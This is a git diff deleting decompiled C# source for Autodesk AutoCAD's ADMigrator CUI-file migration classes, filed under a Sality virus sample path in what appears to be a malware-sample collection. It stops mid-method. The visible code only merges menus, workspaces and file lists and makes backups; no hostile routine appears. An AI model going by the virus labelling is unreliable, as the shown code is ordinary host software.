100644 index 531bd8ff..00000000 --- a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-906e49d7772808af1fb67511fd33b01c809079fddb77015425883ca9739cad33/CUIFileMap.cs +++ /dev/null @@ -1,46 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Autodesk.AutoCAD.ADMigrator.CUIFileMap -// Assembly: ADMigrator, Version=18.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 1EA8663B-E949-4FAD-ABC5-280393847F56 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Sality.sil-906e49d7772808af1fb67511fd33b01c809079fddb77015425883ca9739cad33.exe - -namespace Autodesk.AutoCAD.ADMigrator -{ - public class CUIFileMap - { - private string _sourceFileName; - private string _sourceMenuGroupName; - private string _sourceMacroGroupName; - private string _targetFileName; - private string _targetMenuGroupName; - private string _targetMacroGroupName; - - public string SourceFileName => this._sourceFileName; - - public string SourceMenuGroupName => this._sourceMenuGroupName; - - public string SourceMacroGroupName => this._sourceMacroGroupName; - - public string TargetFileName => this._targetFileName; - - public string TargetMenuGroupName => this._targetMenuGroupName; - - public string TargetMacroGroupName => this._targetMacroGroupName; - - public CUIFileMap( - string sourceFileName, - string sourceMenuGroupName, - string sourceMacroGroupName, - string targetFileName, - string targetMenuGroupName, - string targetMacroGroupName) - { - this._sourceFileName = sourceFileName; - this._sourceMenuGroupName = sourceMenuGroupName; - this._sourceMacroGroupName = sourceMacroGroupName; - this._targetFileName = targetFileName; - this._targetMenuGroupName = targetMenuGroupName; - this._targetMacroGroupName = targetMacroGroupName; - } - } -} diff --git a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-906e49d7772808af1fb67511fd33b01c809079fddb77015425883ca9739cad33/CUIFileMigrator.cs b/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-906e49d7772808af1fb67511fd33b01c809079fddb77015425883ca9739cad33/CUIFileMigrator.cs deleted file mode 100644 index 852b4506..00000000 --- a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-906e49d7772808af1fb67511fd33b01c809079fddb77015425883ca9739cad33/CUIFileMigrator.cs +++ /dev/null @@ -1,1232 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Autodesk.AutoCAD.ADMigrator.CUIFileMigrator -// Assembly: ADMigrator, Version=18.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 1EA8663B-E949-4FAD-ABC5-280393847F56 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Sality.sil-906e49d7772808af1fb67511fd33b01c809079fddb77015425883ca9739cad33.exe - -using Autodesk.AutoCAD.Customization; -using Autodesk.AutoCAD.CustomMigrator; -using System; -using System.Collections; -using System.Collections.Generic; -using System.Collections.Specialized; -using System.Globalization; -using System.IO; - -namespace Autodesk.AutoCAD.ADMigrator -{ - public class CUIFileMigrator : IDisposable - { - public static ILogXML _logger; - private bool _deleteGeneratedPackage; - private bool _adskSourceFile; - private bool LTConversion; - public static ArrayList TargetFiles; - private CustomizationSection sourceCUI; - private CustomizationSection targetCUI; - private ProductInfo _sourceInfo; - private ProductInfo _destInfo; - - public CUIFileMigrator( - string source, - ILogXML mainFormLogger, - ProductInfo srcInfo, - ProductInfo dstInfo) - { - if (source == null || source.Length < 1) - return; - CUIFileMigrator._logger = mainFormLogger; - this._sourceInfo = srcInfo; - this._destInfo = dstInfo; - try - { - this.sourceCUI = new CustomizationSection(source, true, false); - if (string.Compare(Path.GetExtension(this.SourceFile), CustomizationSection.EXTENSION_XML, true) != 0) - return; - string str = Path.ChangeExtension(this.SourceFile, CustomizationSection.EXTENSION_OPC); - this._deleteGeneratedPackage = this.sourceCUI.SaveAs(str); - this.sourceCUI = new CustomizationSection(str, true, false); - } - catch (FileNotFoundException ex) - { - string sLine = string.Format(LocalResources.GetString("ERROR_CUI_FILE_NOT_FOUND"), (object) source); - MainForm.Log2File(sLine); - CUIFileMigrator._logger.LogXMLElement((LogOperation) 1, (LogCategory) 0, sLine); - } - } - - public void Dispose() - { - if (!this._deleteGeneratedPackage || this.sourceCUI == null || string.Compare(this.sourceCUI.CUIFileName, this.targetCUI.CUIFileName, true, CultureInfo.InvariantCulture) == 0 || string.Compare(Path.GetExtension(this.SourceFile), CustomizationSection.EXTENSION_OPC, true) != 0) - return; - File.Delete(this.SourceFile); - this.sourceCUI = (CustomizationSection) null; - this._deleteGeneratedPackage = false; - } - - public bool AutodeskSourceFile => this._adskSourceFile; - - public static void SetTargetFiles(StringCollection targetFiles) - { - if (CUIFileMigrator.TargetFiles == null) - CUIFileMigrator.TargetFiles = new ArrayList(); - foreach (string targetFile in targetFiles) - { - CustomizationSection customizationSection = (CustomizationSection) null; - try - { - MainForm.isTarget = true; - customizationSection = new CustomizationSection(targetFile, true, false); - } - catch (FileNotFoundException ex) - { - string sLine = string.Format(LocalResources.GetString("ERROR_CUI_FILE_NOT_FOUND"), (object) targetFile); - MainForm.Log2File(sLine); - CUIFileMigrator._logger.LogXMLElement((LogOperation) 1, (LogCategory) 0, sLine); - break; - } - finally - { - MainForm.isTarget = false; - } - if (customizationSection != null) - CUIFileMigrator.TargetFiles.Add((object) customizationSection); - } - } - - public string SourceFile => this.sourceCUI != null ? this.sourceCUI.CUIFileName : (string) null; - - public string TargetFile => this.targetCUI != null ? this.targetCUI.CUIFileName : (string) null; - - public bool FindInitialTarget() - { - if (this.sourceCUI != null && this.sourceCUI.CuiFileVersion.UserVersion == 0) - { - string macroGroupName = (string) null; - foreach (MacroGroup macroGroup in (CollectionBase) this.sourceCUI.MenuGroup.MacroGroups) - { - if (macroGroup.IsClassA()) - macroGroupName = macroGroup.Name; - } - if (macroGroupName != null) - { - CUIFileMap mapFromMacroGroup = MainForm.GetFileMapFromMacroGroup(macroGroupName); - if (mapFromMacroGroup != null) - macroGroupName = mapFromMacroGroup.TargetMacroGroupName; - this._adskSourceFile = true; - foreach (CustomizationSection targetFile in CUIFileMigrator.TargetFiles) - { - if (targetFile.MenuGroup.MacroGroups.Contains(macroGroupName)) - { - this.targetCUI = targetFile; - break; - } - } - } - } - return this.targetCUI != null; - } - - public bool MergeFiles() - { - if (this.sourceCUI == null || this.targetCUI == null) - return false; - if (!this._adskSourceFile) - return true; - this.MergeMacros(); - this.MergeMenuGroup(); - this.MergeWorkspaces(); - this.MergePartialFiles(); - this.MergeLSPFiles(); - if (this.sourceCUI.MenuGroup.Name != this.targetCUI.MenuGroup.Name) - { - CUIFileMap mapFromMenuGroup = MainForm.GetFileMapFromMenuGroup(this.sourceCUI.MenuGroup.Name); - if (mapFromMenuGroup != null) - { - if (this.targetCUI.MenuGroup.Name == mapFromMenuGroup.TargetMenuGroupName) - { - this.targetCUI.MenuGroup.Name = mapFromMenuGroup.SourceMenuGroupName; - this.targetCUI.MenuGroup.Name = mapFromMenuGroup.TargetMenuGroupName; - } - } - } - try - { - MainForm.isTarget = true; - this.targetCUI.Save(); - if (this.targetCUI.ParentCUI != null) - { - if (this.targetCUI.ParentCUI.IsModified) - this.targetCUI.ParentCUI.Save(); - } - } - catch (FileSaveException ex) - { - string sLine = string.Format(LocalResources.GetString("ERROR_FILE_ACCESS_DENIED"), (object) this.targetCUI.CUIFileName); - MainForm.Log2File(sLine); - CUIFileMigrator._logger.LogXMLElement((LogOperation) 1, (LogCategory) 0, sLine); - return false; - } - finally - { - MainForm.isTarget = false; - } - return true; - } - - private void MergeMacros() - { - foreach (MacroGroup macroGroup1 in (CollectionBase) this.sourceCUI.MenuGroup.MacroGroups) - { - StringCollection stringCollection = new StringCollection(); - MacroGroup macroGroup2 = (MacroGroup) null; - CUIFileMap mapFromMacroGroup = MainForm.GetFileMapFromMacroGroup(macroGroup1.Name); - foreach (MacroGroup macroGroup3 in (CollectionBase) this.targetCUI.MenuGroup.MacroGroups) - { - if (string.Compare(macroGroup1.Name, macroGroup3.Name, true, CultureInfo.InvariantCulture) == 0) - { - macroGroup2 = macroGroup3; - break; - } - if (mapFromMacroGroup != null && mapFromMacroGroup.TargetMacroGroupName.Equals(macroGroup3.Name, StringComparison.InvariantCultureIgnoreCase)) - { - macroGroup2 = macroGroup3; - if (!MainForm.isACAD) - { - this.LTConversion = true; - break; - } - break; - } - } - if (macroGroup2 != null) - { - foreach (MenuMacro menuMacro1 in (CollectionBase) macroGroup1.MenuMacros) - { - bool flag = false; - foreach (VersionableElement macro in menuMacro1.Macros) - { - if (macro.UserModified()) - flag = true; - } - if (flag) - { - MenuMacro menuMacro2 = this.targetCUI.FindMenuMacro(((CustomizationElement) menuMacro1).ElementID); - if (menuMacro2 != null) - { - foreach (Macro macro in menuMacro1.Macros) - { - if (((VersionableElement) macro).UserModified()) - { - menuMacro2.Macros.Add(macro); - if (!string.IsNullOrEmpty(macro.SmallImage) && macro.SmallImage.IndexOf('.') >= 0 && !StringArrayUtilities.Contains(stringCollection, macro.SmallImage, true)) - stringCollection.Add(macro.SmallImage); - if (!string.IsNullOrEmpty(macro.LargeImage) && macro.LargeImage.IndexOf('.') >= 0 && !StringArrayUtilities.Contains(stringCollection, macro.LargeImage, true)) - stringCollection.Add(macro.LargeImage); - } - } - } - } - } - } - else - { - this.targetCUI.MenuGroup.MacroGroups.Clone(macroGroup1); - foreach (MenuMacro menuMacro in (CollectionBase) macroGroup1.MenuMacros) - { - foreach (Macro macro in menuMacro.Macros) - { - if (!string.IsNullOrEmpty(macro.SmallImage) && macro.SmallImage.IndexOf('.') >= 0 && !StringArrayUtilities.Contains(stringCollection, macro.SmallImage, true)) - stringCollection.Add(macro.SmallImage); - if (!string.IsNullOrEmpty(macro.LargeImage) && macro.LargeImage.IndexOf('.') >= 0 && !StringArrayUtilities.Contains(stringCollection, macro.LargeImage, true)) - stringCollection.Add(macro.LargeImage); - } - } - } - if (stringCollection.Count > 0) - { - string[] strArray = new string[stringCollection.Count]; - for (int index = 0; index < stringCollection.Count; ++index) - strArray[index] = stringCollection[index]; - MenuPackage.CopyPartsBetweenPackages(this.sourceCUI.CUIFileName, this.targetCUI.CUIFileName, strArray, true); - } - } - } - - private void MergeMenuGroup() - { - if (this.LTConversion) - { - this.LTConvertMenuGroup(); - } - else - { - if (this.sourceCUI.MenuGroup.Accelerators != null) - this.GenericMigration((MenuGroupItemsCollection) this.sourceCUI.MenuGroup.Accelerators, (MenuGroupItemsCollection) this.targetCUI.MenuGroup.Accelerators); - if (this.sourceCUI.MenuGroup.TemporaryOverrides != null) - this.GenericMigration((MenuGroupItemsCollection) this.sourceCUI.MenuGroup.TemporaryOverrides, (MenuGroupItemsCollection) this.targetCUI.MenuGroup.TemporaryOverrides); - if (this.sourceCUI.MenuGroup.MouseButtons != null) - this.GenericMigration((MenuGroupItemsCollection) this.sourceCUI.MenuGroup.MouseButtons, (MenuGroupItemsCollection) this.targetCUI.MenuGroup.MouseButtons); - if (this.sourceCUI.MenuGroup.DigitizerButtons != null) - this.GenericMigration((MenuGroupItemsCollection) this.sourceCUI.MenuGroup.DigitizerButtons, (MenuGroupItemsCollection) this.targetCUI.MenuGroup.DigitizerButtons); - if (this.sourceCUI.MenuGroup.PopMenus != null) - this.GenericMigration((MenuGroupItemsCollection) this.sourceCUI.MenuGroup.PopMenus, (MenuGroupItemsCollection) this.targetCUI.MenuGroup.PopMenus); - if (this.sourceCUI.MenuGroup.Toolbars != null) - this.GenericMigration((MenuGroupItemsCollection) this.sourceCUI.MenuGroup.Toolbars, (MenuGroupItemsCollection) this.targetCUI.MenuGroup.Toolbars); - if (this.sourceCUI.MenuGroup.ScreenMenus != null) - this.GenericMigration((MenuGroupItemsCollection) this.sourceCUI.MenuGroup.ScreenMenus, (MenuGroupItemsCollection) this.targetCUI.MenuGroup.ScreenMenus); - if (this.sourceCUI.MenuGroup.TabletMenus != null) - this.GenericMigration((MenuGroupItemsCollection) this.sourceCUI.MenuGroup.TabletMenus, (MenuGroupItemsCollection) this.targetCUI.MenuGroup.TabletMenus); - if (this.sourceCUI.MenuGroup.QuickAccessToolbars != null) - this.GenericMigration((MenuGroupItemsCollection) this.sourceCUI.MenuGroup.QuickAccessToolbars, (MenuGroupItemsCollection) this.targetCUI.MenuGroup.QuickAccessToolbars); - if (this.sourceCUI.MenuGroup.QuickPropertiesObjectTypes != null) - this.GenericObjectTypes((MenuGroupItemsCollection) this.sourceCUI.MenuGroup.QuickPropertiesObjectTypes, (MenuGroupItemsCollection) this.targetCUI.MenuGroup.QuickPropertiesObjectTypes); - if (this.sourceCUI.MenuGroup.RolloverTooltipObjectTypes != null) - this.GenericObjectTypes((MenuGroupItemsCollection) this.sourceCUI.MenuGroup.RolloverTooltipObjectTypes, (MenuGroupItemsCollection) this.targetCUI.MenuGroup.RolloverTooltipObjectTypes); - if (this.sourceCUI.MenuGroup.ImageMenus != null) - this.GenericMigration((MenuGroupItemsCollection) this.sourceCUI.MenuGroup.ImageMenus, (MenuGroupItemsCollection) this.targetCUI.MenuGroup.ImageMenus); - if (this.sourceCUI.MenuGroup.DoubleClickActions == null) - return; - this.GenericMigration((MenuGroupItemsCollection) this.sourceCUI.MenuGroup.DoubleClickActions, (MenuGroupItemsCollection) this.targetCUI.MenuGroup.DoubleClickActions); - } - } - - private void MergeObjectProperty( - ICustomizationContainer scontainer, - ICustomizationContainer tcontainer) - { - if (scontainer == null || tcontainer == null) - return; - foreach (CustomizationElement container1 in (CollectionBase) scontainer.ContainerCollection) - { - if (container1 != null && ((VersionableElement) container1).UserModified()) - { - ObjectPropertyCategory propertyCategory1 = container1 as ObjectPropertyCategory; - ObjectProperty objectProperty1 = container1 as ObjectProperty; - if (propertyCategory1 != null || objectProperty1 != null) - { - if (propertyCategory1 != null) - { - PropertyCollection propertyList = propertyCategory1.PropertyList; - if (propertyList != null) - { - foreach (ObjectProperty objectProperty2 in (CollectionBase) propertyList) - { - if (objectProperty2 != null && ((VersionableElement) objectProperty2).UserModified()) - { - ObjectPropertyCategory propertyCategory2 = (ObjectPropertyCategory) null; - foreach (CustomizationElement container2 in (CollectionBase) tcontainer.ContainerCollection) - { - if (container2 is ObjectPropertyCategory propertyCategory3 && propertyCategory3.categoryId == propertyCategory1.categoryId) - { - propertyCategory2 = propertyCategory3; - break; - } - } - if (propertyCategory2 != null && propertyCategory2.PropertyList != null) - { - if (!propertyCategory2.PropertyList.Contains(((ObjectPropertyBase) objectProperty2).Name)) - propertyCategory2.PropertyList.Add((ObjectPropertyBase) objectProperty2); - } - else if (propertyCategory2 == null) - { - ((IList) tcontainer.ContainerCollection).Add((object) propertyCategory1); - break; - } - } - } - } - } - else if (objectProperty1 != null && ((VersionableElement) objectProperty1).UserModified()) - { - bool flag = false; - foreach (CustomizationElement container3 in (CollectionBase) tcontainer.ContainerCollection) - { - if (container3 is ObjectProperty objectProperty3 && ((ObjectPropertyBase) objectProperty1).Name == ((ObjectPropertyBase) objectProperty3).Name) - { - flag = true; - break; - } - } - if (!flag) - ((IList) tcontainer.ContainerCollection).Add((object) objectProperty1); - } - } - } - } - ArrayList arrayList1 = new ArrayList(); - ArrayList arrayList2 = new ArrayList(); - foreach (CustomizationElement container4 in (CollectionBase) tcontainer.ContainerCollection) - { - ObjectPropertyCategory propertyCategory4 = container4 as ObjectPropertyCategory; - ObjectProperty objectProperty4 = container4 as ObjectProperty; - if (propertyCategory4 != null || objectProperty4 != null) - { - if (propertyCategory4 != null && ((VersionableElement) propertyCategory4).ModifiedRevision < 4) - { - ObjectPropertyCategory propertyCategory5 = (ObjectPropertyCategory) null; - foreach (CustomizationElement container5 in (CollectionBase) scontainer.ContainerCollection) - { - if (container5 is ObjectPropertyCategory propertyCategory6 && propertyCategory6.categoryId == propertyCategory4.categoryId) - { - propertyCategory5 = propertyCategory6; - break; - } - } - if (propertyCategory5 == null) - arrayList1.Add((object) ((CustomizationElement) propertyCategory4).ElementID); - else if (propertyCategory5.PropertyList != null) - { - PropertyCollection propertyList = propertyCategory4.PropertyList; - if (propertyList != null) - { - ArrayList arrayList3 = new ArrayList(); - foreach (ObjectProperty objectProperty5 in (CollectionBase) propertyList) - { - if (objectProperty5 != null && !propertyCategory5.PropertyList.Contains(((ObjectPropertyBase) objectProperty5).Name)) - arrayList3.Add((object) objectProperty5); - } - foreach (ObjectProperty objectProperty6 in arrayList3) - propertyList.Remove((ObjectPropertyBase) objectProperty6); - } - } - } - else if (objectProperty4 != null && ((VersionableElement) objectProperty4).ModifiedRevision < 4 && scontainer.ContainerCollection.IndexOf(((ObjectPropertyBase) objectProperty4).Name) < 0) - arrayList2.Add((object) ((ObjectPropertyBase) objectProperty4).Name); - } - } - foreach (string str in arrayList1) - { - int index = tcontainer.ContainerCollection.IndexOf(str); - if (index >= 0) - ((CollectionBase) tcontainer.ContainerCollection).RemoveAt(index); - } - foreach (string str in arrayList2) - { - int index = tcontainer.ContainerCollection.IndexOf(str); - if (index >= 0) - ((CollectionBase) tcontainer.ContainerCollection).RemoveAt(index); - } - } - - private void GenericObjectTypes( - MenuGroupItemsCollection smgCollection, - MenuGroupItemsCollection tmgCollection) - { - foreach (CustomizationElement smg in (CollectionBase) smgCollection) - { - ObjectType objectType = smg as ObjectType; - CustomizationElement withName = (CustomizationElement) (tmgCollection as ObjectTypeCollection).FindWithName(objectType.ClassName); - ICustomizationContainer scontainer = (ICustomizationContainer) objectType; - ICustomizationContainer tcontainer = withName as ICustomizationContainer; - if (((VersionableElement) objectType).UserModified()) - { - if (withName == null) - { - ContainerCloneAction containerCloneAction = (ContainerCloneAction) 1; - tmgCollection.Clone((CustomizationElement) objectType, (CustomizationElement) null, ref containerCloneAction); - } - else if (scontainer != null) - this.MergeObjectProperty(scontainer, tcontainer); - else - withName.Replace((CustomizationElement) objectType); - } - else if (scontainer != null && tcontainer != null) - this.MergeObjectProperty(scontainer, tcontainer); - } - } - - private void GenericMigration( - MenuGroupItemsCollection smgCollection, - MenuGroupItemsCollection tmgCollection) - { - foreach (CustomizationElement smg in (CollectionBase) smgCollection) - { - CustomizationElement menuObj1 = (CustomizationElement) this.targetCUI.getMenuObj(smg.ElementID); - ICustomizationContainer icustomizationContainer1 = smg as ICustomizationContainer; - ICustomizationContainer icustomizationContainer2 = menuObj1 as ICustomizationContainer; - if (((VersionableElement) smg).UserModified()) - { - if (menuObj1 == null) - { - ContainerCloneAction containerCloneAction = (ContainerCloneAction) 1; - tmgCollection.Clone(smg, (CustomizationElement) null, ref containerCloneAction); - } - else if (icustomizationContainer1 != null) - { - SortedList newItems = this.FindNewItems(icustomizationContainer1.ContainerCollection, icustomizationContainer2.ContainerCollection); - menuObj1.Replace(smg); - foreach (CustomizationElement container in (CollectionBase) icustomizationContainer1.ContainerCollection) - { - if (this.ValidReference(container)) - ((IList) icustomizationContainer2.ContainerCollection).Add((object) container); - } - if (newItems.Count > 0) - { - foreach (DictionaryEntry dictionaryEntry in newItems) - { - if (dictionaryEntry.Value is CustElementLocation custElementLocation) - { - int num = icustomizationContainer2.ContainerCollection.IndexOf(custElementLocation.CustElement.ElementID); - if (num > -1) - { - CustomizationElement container = icustomizationContainer2.ContainerCollection[num]; - if (!((VersionableElement) container).UserModified()) - icustomizationContainer2.ContainerCollection.Replace(container, custElementLocation.CustElement); - } - else - { - int index = custElementLocation.insertAfter != null ? icustomizationContainer2.ContainerCollection.IndexOf(custElementLocation.insertAfter.ElementID) + custElementLocation.offset : custElementLocation.offset; - if (index > ((CollectionBase) icustomizationContainer2.ContainerCollection).Count) - index = ((CollectionBase) icustomizationContainer2.ContainerCollection).Count; - ((IList) icustomizationContainer2.ContainerCollection).Insert(index, (object) custElementLocation.CustElement); - } - } - } - } - } - else - menuObj1.Replace(smg); - } - else if (icustomizationContainer1 != null && icustomizationContainer2 != null) - { - foreach (CustomizationElement container in (CollectionBase) icustomizationContainer1.ContainerCollection) - { - if (this.ValidReference(container)) - { - CustomizationElement menuObj2 = (CustomizationElement) this.targetCUI.getMenuObj(container.ElementID); - if (menuObj2 != null) - { - if (((VersionableElement) container).UserModified()) - icustomizationContainer2.ContainerCollection.Replace(menuObj2, container); - if (!icustomizationContainer2.ContainerCollection.Contains(menuObj2) && ((VersionableElement) container).UserModified()) - { - int index = icustomizationContainer1.ContainerCollection.IndexOf(container.ElementID); - if (index > ((CollectionBase) icustomizationContainer2.ContainerCollection).Count) - index = ((CollectionBase) icustomizationContainer2.ContainerCollection).Count; - if (((ElementBase) menuObj2).Parent is ICustomizationContainer parent) - { - ((IList) parent.ContainerCollection).Remove((object) menuObj2); - ((IList) icustomizationContainer2.ContainerCollection).Insert(index, (object) container); - } - } - } - else if (container.ElementID != null && ((VersionableElement) container).UserModified()) - { - int index = icustomizationContainer1.ContainerCollection.IndexOf(container.ElementID); - if (index > ((CollectionBase) icustomizationContainer2.ContainerCollection).Count) - index = ((CollectionBase) icustomizationContainer2.ContainerCollection).Count; - ((IList) icustomizationContainer2.ContainerCollection).Insert(index, (object) container); - } - } - } - ArrayList arrayList = new ArrayList(); - for (int index = 0; index < ((CollectionBase) icustomizationContainer2.ContainerCollection).Count; ++index) - { - CustomizationElement container = icustomizationContainer2.ContainerCollection[index]; - if (container.ElementID != null && icustomizationContainer1.ContainerCollection.IndexOf(container.ElementID) < 0 && ((VersionableElement) container).ModifiedRevision < 4) - arrayList.Add((object) icustomizationContainer2.ContainerCollection[index]); - } - foreach (CustomizationElement customizationElement in arrayList) - { - int index = icustomizationContainer2.ContainerCollection.IndexOf(customizationElement.ElementID); - if (index >= 0) - ((CollectionBase) icustomizationContainer2.ContainerCollection).RemoveAt(index); - } - } - } - } - - private bool ValidReference(CustomizationElement ce) => !(ce is IReference ireference) || ireference.MacroID == null || this.targetCUI.FindMenuMacro(ireference.MacroID) != null; - - private void MergeWorkspaces() - { - string profileWorkspaceName = Migrator.GetCurrentProfileWorkspaceName(this._sourceInfo.m_regRootKey); - bool flag = false; - foreach (Workspace workspace in (CollectionBase) this.sourceCUI.Workspaces) - { - if (((VersionableElement) workspace).UserModified()) - { - string name = workspace.Name; - string str = string.Format(LocalResources.GetString("RENAMED_WORKSPACE_SUFFIX"), (object) workspace.Name, (object) this._sourceInfo.m_productName); - int num = 1; - object[] objArray; - for (; ((CustomizationCollection) this.targetCUI.Workspaces).IndexOf(str) >= 0; str = string.Concat(objArray)) - objArray = new object[4] - { - (object) str, - (object) " [", - (object) num++.ToString(), - (object) ']' - }; - workspace.Name = str; - ContainerCloneAction containerCloneAction = (ContainerCloneAction) 1; - this.targetCUI.Workspaces.MigrateWorkspace(workspace, (Workspace) null, ref containerCloneAction); - workspace.Name = name; - if (string.Compare(name, profileWorkspaceName, true) == 0) - { - Migrator.SetCurrentProfileWorkspaceName(this._destInfo.m_regRootKey, str); - flag = true; - } - } - } - if (flag) - return; - Workspace workspace1 = (Workspace) null; - foreach (Workspace workspace2 in (CollectionBase) this.sourceCUI.Workspaces) - { - if (workspace2.DefaultWorkspace) - { - workspace1 = workspace2; - break; - } - } - if (workspace1 == null) - return; - Migrator.SetCurrentProfileWorkspaceName(this._destInfo.m_regRootKey, workspace1.Name); - } - - private void MergePartialFiles() - { - if (this.sourceCUI.PartialCuiFiles == null || ((StringCollection) this.sourceCUI.PartialCuiFiles).Count <= 0) - return; - foreach (string partialCuiFile1 in (StringCollection) this.sourceCUI.PartialCuiFiles) - { - string withoutExtension1; - try - { - withoutExtension1 = Path.GetFileNameWithoutExtension(partialCuiFile1); - } - catch (ArgumentException ex) - { - continue; - } - if (!Util.IsEmpty(withoutExtension1) && (!this._sourceInfo.IsBeforeGator() || !withoutExtension1.Equals("ContentSearch", StringComparison.OrdinalIgnoreCase) && !withoutExtension1.Equals("AcImpression", StringComparison.OrdinalIgnoreCase) && !withoutExtension1.Equals("Acetmain", StringComparison.OrdinalIgnoreCase))) - { - bool flag = false; - CUIFileMap fileMapFromFileName = MainForm.GetFileMapFromFileName(withoutExtension1); - if (fileMapFromFileName != null) - withoutExtension1 = Path.GetFileNameWithoutExtension(fileMapFromFileName.TargetFileName); - foreach (string partialCuiFile2 in (StringCollection) this.targetCUI.PartialCuiFiles) - { - string withoutExtension2; - try - { - withoutExtension2 = Path.GetFileNameWithoutExtension(partialCuiFile2); - } - catch (ArgumentException ex) - { - continue; - } - if (!Util.IsEmpty(withoutExtension2) && withoutExtension1.Equals(withoutExtension2, StringComparison.InvariantCultureIgnoreCase)) - { - flag = true; - break; - } - } - if (!flag) - ((CuiFileCollectionBase) this.targetCUI.PartialCuiFiles).Add(Path.ChangeExtension(withoutExtension1, CustomizationSection.EXTENSION_OPC)); - } - } - } - - private void MergeLSPFiles() - { - if (this.sourceCUI.MenuGroup.LspFiles == null || ((StringCollection) this.sourceCUI.MenuGroup.LspFiles).Count <= 0) - return; - foreach (string lspFile in (StringCollection) this.sourceCUI.MenuGroup.LspFiles) - { - if (!((CuiFileCollectionBase) this.targetCUI.MenuGroup.LspFiles).Contains(lspFile)) - ((CuiFileCollectionBase) this.targetCUI.MenuGroup.LspFiles).Add(lspFile); - } - } - - private SortedList FindNewItems( - CustomizationCollection sourceCollection, - CustomizationCollection targetCollection) - { - SortedList newItems = new SortedList(); - foreach (CustomizationElement target1 in (CollectionBase) targetCollection) - { - int num1 = sourceCollection.IndexOf(target1.ElementID); - if (((VersionableElement) target1).ModifiedRevision == 4) - { - CustElementLocation custElementLocation = new CustElementLocation(target1); - int key = targetCollection.IndexOf(target1.ElementID); - if (num1 < 0) - { - int num2 = 0; - while (num1 < 0) - { - ++num2; - if (key - num2 >= 0) - { - CustomizationElement target2 = targetCollection[key - num2]; - if (target2 != null && target2.ElementID != null) - num1 = sourceCollection.IndexOf(target2.ElementID); - } - else - break; - } - if (num1 > -1) - { - custElementLocation.insertAfter = sourceCollection[num1]; - custElementLocation.offset = num2; - } - else - custElementLocation.offset = key; - } - else - custElementLocation.offset = 0; - try - { - newItems.Add((object) key, (object) custElementLocation); - } - catch (ArgumentException ex) - { - } - } - } - return newItems; - } - - public static StringCollection FindTargetCUIFiles(string regRoot) - { - StringCollection targetCuiFiles = new StringCollection(); - CUIFileMigrator.FindCUIFiles(Migrator.GetAppInstallDir(regRoot) + "UserDataCache", targetCuiFiles); - CUIFileMigrator.SetTargetFiles(targetCuiFiles); - return targetCuiFiles; - } - - public static void FindCUIFiles(string rootPath, StringCollection installedFiles) - { - try - { - string searchPattern = string.Format("*{0}", (object) CustomizationSection.EXTENSION_OPC); - string[] files = Directory.GetFiles(rootPath, searchPattern); - if (files.Length > 0) - { - foreach (string path in files) - { - if (string.Compare(Path.GetExtension(path), CustomizationSection.EXTENSION_OPC, true, CultureInfo.InvariantCulture) == 0) - installedFiles.Add(path); - } - } - string[] directories = Directory.GetDirectories(rootPath); - if (directories.Length <= 0) - return; - foreach (string rootPath1 in directories) - CUIFileMigrator.FindCUIFiles(rootPath1, installedFiles); - } - catch (Exception ex) - { - string sLine = string.Format(LocalResources.GetString("ERROR_USERDATACACHE_NOT_FOUND")); - MainForm.Log2File(sLine); - CUIFileMigrator._logger.LogXMLElement((LogOperation) 1, (LogCategory) 0, sLine); - } - } - - public bool SetFinalTarget(ProfileMigrator pm, string targetRootKey) - { - string path = Migrator.GetRoamableRootFolder(targetRootKey) + "Backup\\"; - string strA = pm.SourceEncode(this.SourceFile); - string str1 = pm.TargetExpand(strA); - if (File.Exists(str1)) - { - string str2 = Path.GetExtension(str1); - if (Util.IsEmpty(str2)) - str2 = CustomizationSection.EXTENSION_XML; - string str3 = Path.GetDirectoryName(str1) + "\\" + Path.GetFileNameWithoutExtension(str1) + ".bak" + str2; - try - { - File.Copy(str1, str3, true); - if ((File.GetAttributes(str3) & FileAttributes.ReadOnly) == FileAttributes.ReadOnly) - File.SetAttributes(str3, File.GetAttributes(str3) ^ FileAttributes.ReadOnly); - } - catch (UnauthorizedAccessException ex) - { - string sLine = string.Format(LocalResources.GetString("ERROR_FILE_ACCESS_DENIED"), (object) str3); - MainForm.Log2File(sLine); - CUIFileMigrator._logger.LogXMLElement((LogOperation) 1, (LogCategory) 0, sLine); - } - } - if (this._adskSourceFile && this.TargetFile != null) - { - if (string.Compare(this.SourceFile, str1, true, CultureInfo.InvariantCulture) != 0) - { - string str4 = path + Path.GetFileName(this.SourceFile); - try - { - if (!Directory.Exists(path)) - Directory.CreateDirectory(path); - File.Copy(this.SourceFile, str4, true); - if ((File.GetAttributes(str4) & FileAttributes.ReadOnly) == FileAttributes.ReadOnly) - File.SetAttributes(str4, File.GetAttributes(str4) ^ FileAttributes.ReadOnly); - } - catch (Exception ex) - { - string sLine = string.Format(LocalResources.GetString("ERROR_FILE_ACCESS_DENIED"), (object) str4); - MainForm.Log2File(sLine); - CUIFileMigrator._logger.LogXMLElement((LogOperation) 1, (LogCategory) 0, sLine); - } - if (MainForm.CUIFileMapArray.Count > 0) - { - CUIFileMap fileMapFromFileName = MainForm.GetFileMapFromFileName(Path.GetFileName(this.SourceFile)); - if (fileMapFromFileName != null) - str1 = str1.ToLower().Replace(fileMapFromFileName.SourceFileName.ToLower(), fileMapFromFileName.TargetFileName.ToLower()); - } - if (File.Exists(str1)) - { - string str5 = path + Path.GetFileName(str1); - if (!File.Exists(str5)) - { - try - { - if (!Directory.Exists(path)) - Directory.CreateDirectory(path); - File.Copy(str1, str5, false); - if ((File.GetAttributes(str5) & FileAttributes.ReadOnly) == FileAttributes.ReadOnly) - File.SetAttributes(str5, File.GetAttributes(str5) ^ FileAttributes.ReadOnly); - } - catch (UnauthorizedAccessException ex) - { - string sLine = string.Format(LocalResources.GetString("ERROR_FILE_ACCESS_DENIED"), (object) str5); - MainForm.Log2File(sLine); - CUIFileMigrator._logger.LogXMLElement((LogOperation) 1, (LogCategory) 0, sLine); - } - } - } - try - { - if (!Directory.Exists(Path.GetDirectoryName(str1))) - 